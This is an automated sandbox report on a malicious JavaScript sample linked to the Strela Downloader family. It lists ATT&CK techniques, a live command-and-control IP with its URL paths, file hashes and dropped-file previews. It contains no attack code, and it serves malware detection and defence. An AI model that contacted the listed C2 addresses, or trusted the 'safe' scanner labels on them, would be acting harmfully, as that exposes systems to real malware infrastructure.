Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
206038195771531175.js	0%	ReversingLabs
206038195771531175.js	3%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/sce	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/uj	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/_	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 0000000E.00000002.2558499801.00000218156A3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1341744036.0000012835A7C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce	net.exe, 0000000C.00000002.1339845334.0000012835A48000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/uj	net.exe, 0000000C.00000002.1339845334.0000012835A48000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 0000000E.00000003.1326036918.0000021815810000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high
http://193.143.1.205:8888/_	net.exe, 0000000C.00000003.1329351234.0000012835A7C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1341744036.0000012835A7C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588178
Start date and time:	2025-01-10 22:20:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	206038195771531175.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.233.129.217, 52.22.41.97, 52.6.155.20, 3.219.243.226, 172.64.41.3, 162.159.61.3, 184.28.90.27, 199.232.210.172, 2.22.242.123, 2.22.242.11, 23.209.209.135, 2.16.168.107, 2.16.168.105, 23.40.179.39, 23.40.179.57, 23.40.179.45, 23.40.179.46, 23.40.179.35, 23.40.179.52, 23.40.179.59, 23.40.179.53, 23.40.179.56, 13.107.246.45, 52.149.20.212, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:21:06	API Interceptor	24x Sleep call for process: powershell.exe modified
16:21:10	API Interceptor	1x Sleep call for process: net.exe modified
16:21:10	API Interceptor	2x Sleep call for process: svchost.exe modified
16:21:23	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807568724984876
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9u:0J7adfWuK0p/QDfKoPeuP0aN4fqox5
MD5:	C75DEC856076DD2878827DB1EEE6637E
SHA1:	D40576D3BC0C36D37EA86F5E72D737880961B848
SHA-256:	C3E5D13E1BD2A4C76F333CB363BF87910DD06DC0B35945850C8803517619206B
SHA-512:	EDF0C40F6585D1AD2FBE75CD500177818239A42E3702024B02ED00BA64C827E545C7915A767CB8DC50376937D4D80061B13D50FDE14CAC283F7E113A7A11010A
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe7fb484a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880413823457384
Encrypted:	false
SSDEEP:	1536:HSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:HazaPv4V4fXq2UaB
MD5:	AF6D0308D03784F7707ECDF9237C122F
SHA1:	D036EA34A0C7EF30C3209BC1FAE6A755E95F0278
SHA-256:	65C881A4222A9DC70C74EB87ADBA5E93825D9C3988A1F0845B715AB9566116F3
SHA-512:	E084B767E97D2291FD882EFE462CFBC2357B407CC8DF7073B902B5B61EF0451DF47FFE93EEFC91E41D4E827E9A4B5CEADE3F5C71CECDACF97FE966C9C3238BE2
Malicious:	false
Preview:	..HJ... ...............X\...;...{......................X............{.......}S.h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................C..`.....}s:..................S......}s..........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07953490799374101
Encrypted:	false
SSDEEP:	3:S8//lKYeYY+q1XlVG0+q2Iqe8losvkxqllNTt/4ll/Q6beV/:Sc/lKz/NGE8loNeHtc6V
MD5:	2C86A9CA2BD7D21F303F72300A9F1914
SHA1:	39EA3E61D32046B18F885BF51F7479506949DBC1
SHA-256:	3CBE5288FF092B1042E840ADABF5097B0FC1143D8AAE01F40E3EB7E1372A2400
SHA-512:	6F973645FC6A80B7349B894CFEF5FFB88AC67EA1B630A7D92136A41193F603391BC9187AB2EAADF92A88366F64FB6A9CC9D9B1C8773BC9D2112AF655E548AF83
Malicious:	false
Preview:	5".......................................;...{.......}s......{...............{.......{....:......{...................S......}s.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.172043167335265
Encrypted:	false
SSDEEP:	6:iO41ZV+q2PFi2nKuAl9OmbnIFUtS1dZmws1hVkwOFi2nKuAl9OmbjLJ:7YSvdZHAahFUtqd/kv5wZHAaSJ
MD5:	644FEFF831688FEBCEEA527F98E8F57F
SHA1:	E0563DEAD0D2A5569894173061CBAEBEE4B73A46
SHA-256:	CE99E0387867026430C3BE3DA6385339725E66A88FEE902B8EED9F94C1D7CF16
SHA-512:	78CA01D79B2B88C1F50EBD63383574FDAC906CA32A32024E81DD96864789327A90AEEC581DC956DBF4DB8BF1498C26354C9972A0658DC85739ED8979E4C6E9D4
Malicious:	false
Preview:	2025/01/10-16:21:10.285 1ff8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:21:10.287 1ff8 Recovering log #3.2025/01/10-16:21:10.287 1ff8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.172043167335265
Encrypted:	false
SSDEEP:	6:iO41ZV+q2PFi2nKuAl9OmbnIFUtS1dZmws1hVkwOFi2nKuAl9OmbjLJ:7YSvdZHAahFUtqd/kv5wZHAaSJ
MD5:	644FEFF831688FEBCEEA527F98E8F57F
SHA1:	E0563DEAD0D2A5569894173061CBAEBEE4B73A46
SHA-256:	CE99E0387867026430C3BE3DA6385339725E66A88FEE902B8EED9F94C1D7CF16
SHA-512:	78CA01D79B2B88C1F50EBD63383574FDAC906CA32A32024E81DD96864789327A90AEEC581DC956DBF4DB8BF1498C26354C9972A0658DC85739ED8979E4C6E9D4
Malicious:	false
Preview:	2025/01/10-16:21:10.285 1ff8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:21:10.287 1ff8 Recovering log #3.2025/01/10-16:21:10.287 1ff8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.15299856395479
Encrypted:	false
SSDEEP:	6:iO41JjIq2PFi2nKuAl9Ombzo2jMGIFUtS1qXZmws1zzkwOFi2nKuAl9Ombzo2jM4:7YtIvdZHAa8uFUtqqX/kzz5wZHAa8RJ
MD5:	F2E3B420685A77784D2AA4C5B7F2E7D3
SHA1:	1DFB8DD7CFF2ECC4775EFE86F626C69A585ED2B4
SHA-256:	F6711898F1E33FABDAADA4E672F77AE4607F4EA46E053166B438748388CF08B8
SHA-512:	59C5D348AE15F0C1FA05D7F7B60153865DA8334C8F7E0F51E2F49B981E4D69CB44B04A2A2FCEE11FD2BEEB8459259C472E88C5342F7AC19D84C99659F0FD72BB
Malicious:	false
Preview:	2025/01/10-16:21:10.381 1af4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:21:10.382 1af4 Recovering log #3.2025/01/10-16:21:10.383 1af4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.15299856395479
Encrypted:	false
SSDEEP:	6:iO41JjIq2PFi2nKuAl9Ombzo2jMGIFUtS1qXZmws1zzkwOFi2nKuAl9Ombzo2jM4:7YtIvdZHAa8uFUtqqX/kzz5wZHAa8RJ
MD5:	F2E3B420685A77784D2AA4C5B7F2E7D3
SHA1:	1DFB8DD7CFF2ECC4775EFE86F626C69A585ED2B4
SHA-256:	F6711898F1E33FABDAADA4E672F77AE4607F4EA46E053166B438748388CF08B8
SHA-512:	59C5D348AE15F0C1FA05D7F7B60153865DA8334C8F7E0F51E2F49B981E4D69CB44B04A2A2FCEE11FD2BEEB8459259C472E88C5342F7AC19D84C99659F0FD72BB
Malicious:	false
Preview:	2025/01/10-16:21:10.381 1af4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:21:10.382 1af4 Recovering log #3.2025/01/10-16:21:10.383 1af4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1d122c4c-0248-4a69-87b5-623f8e175935.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.974061129961274
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqm8sBdOg2Hdcaq3QYiubpP7E4T3y:Y2sRdsfdMHs3QYhbd7nby
MD5:	741393B86646740DAF4F915B87196D57
SHA1:	1072C5FB2E5B57A44FE49C796C4CDCCD4CBA9AFB
SHA-256:	43A3BE458224E9BB5BAC08153A61A20B7B028EED421DFC04C170DE45A8025AAB
SHA-512:	9CBAC3FD38AE4596FBC7BB4DD231639D7A4AEFF7A7489060EC28AEE43FD0AC76034A43533DB9A8F9E14A5C2DF1EF48CC8C174E1DD4888FCE4DD60EE403945A97
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381104082964665","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":161379},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.974061129961274
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqm8sBdOg2Hdcaq3QYiubpP7E4T3y:Y2sRdsfdMHs3QYhbd7nby
MD5:	741393B86646740DAF4F915B87196D57
SHA1:	1072C5FB2E5B57A44FE49C796C4CDCCD4CBA9AFB
SHA-256:	43A3BE458224E9BB5BAC08153A61A20B7B028EED421DFC04C170DE45A8025AAB
SHA-512:	9CBAC3FD38AE4596FBC7BB4DD231639D7A4AEFF7A7489060EC28AEE43FD0AC76034A43533DB9A8F9E14A5C2DF1EF48CC8C174E1DD4888FCE4DD60EE403945A97
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381104082964665","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":161379},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.225302427797681
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVS/YiQD:wshFT0h7cZb2EVKZPEANcGIK5EVS/TQD
MD5:	4A60CABAC260FCA6326290B6F61679C6
SHA1:	1272B8438FCD35615EA60E5E1174AAD2DB495880
SHA-256:	FA26CB244CE9CB496AE417FAC7E28E1AE9A1D53532AE446FFD7FBD7744BD2061
SHA-512:	26EAA3E2970AC08C2C81AE38F9C29FC062DFAC869C2807EC6E648DB99525D26796D2CEEDB38A66A28271A120A2A4D2930DF646C8183C78CDEFC1DBE29D6BF79A
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1681863232622725
Encrypted:	false
SSDEEP:	6:iO41UOq2PFi2nKuAl9OmbzNMxIFUtS1tXZmws1MFBPkwOFi2nKuAl9OmbzNMFLJ:7YlvdZHAa8jFUtqtX/kMFBP5wZHAa84J
MD5:	C23B89C18DF408900B937856A42C74CA
SHA1:	5B066041168016547D4032F76B073617ED646F54
SHA-256:	6B75A181C3B9DFCC56788C2BF905C20BB1C1210AB2ED628EA2B6502EF54AB49C
SHA-512:	C7314E4C078801917A917CFED7DD0A18FE3A1BF6EB850EC81F5C14B0F41C92E16EA1BA039D5C5FB9F8DC1060F59E610ACBCB3D3A863B8CB7E3418B41336997F6
Malicious:	false
Preview:	2025/01/10-16:21:10.696 1af4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:21:10.714 1af4 Recovering log #3.2025/01/10-16:21:10.722 1af4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1681863232622725
Encrypted:	false
SSDEEP:	6:iO41UOq2PFi2nKuAl9OmbzNMxIFUtS1tXZmws1MFBPkwOFi2nKuAl9OmbzNMFLJ:7YlvdZHAa8jFUtqtX/kMFBP5wZHAa84J
MD5:	C23B89C18DF408900B937856A42C74CA
SHA1:	5B066041168016547D4032F76B073617ED646F54
SHA-256:	6B75A181C3B9DFCC56788C2BF905C20BB1C1210AB2ED628EA2B6502EF54AB49C
SHA-512:	C7314E4C078801917A917CFED7DD0A18FE3A1BF6EB850EC81F5C14B0F41C92E16EA1BA039D5C5FB9F8DC1060F59E610ACBCB3D3A863B8CB7E3418B41336997F6
Malicious:	false
Preview:	2025/01/10-16:21:10.696 1af4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:21:10.714 1af4 Recovering log #3.2025/01/10-16:21:10.722 1af4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438604508803284
Encrypted:	false
SSDEEP:	384:CeNci5GUiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:iYurVgazUpUTTGt
MD5:	EDE8848E1557490CFE62A82CA93C0529
SHA1:	BDBC6C3F3587AA50CE0416860E93822195D5E19A
SHA-256:	CB12F74AF106079688A7FDA81FE7C95D1677AFF5829194671FFD9E35BBF16D01
SHA-512:	48055D9DBC20A9551F2C3DB6C0EFD7A7BA0BEF152023734C2C9545B25530750B5AFC2B5AB95B22DBF352A9A8D9698702EC417482D5FCDD512FC67BC2F09FB646
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2144293818910334
Encrypted:	false
SSDEEP:	24:7+tcG6wKBqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MzV:7MxWBq/mFTIF3XmHjBoGGR+jMz+Lhk
MD5:	CC20DED0A6BEA27D222CDA58204B1846
SHA1:	8D636BF5B5E6DA3786900D8EBC42491F0A27AAEF
SHA-256:	61D0DEDBAC523ADAA0D9928CDF1B5AD3A203258DE7F23571DA1461F7FE2AC072
SHA-512:	2C273787CF0FAE66AAE7A61D8DCCD5FFC592B386CD03498D157A05EF5F05073AD26C3FB6788C1B848A2E941F0519E5D765A69F362A0B90D53899579C655B3B8D
Malicious:	false
Preview:	.... .c.....S..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
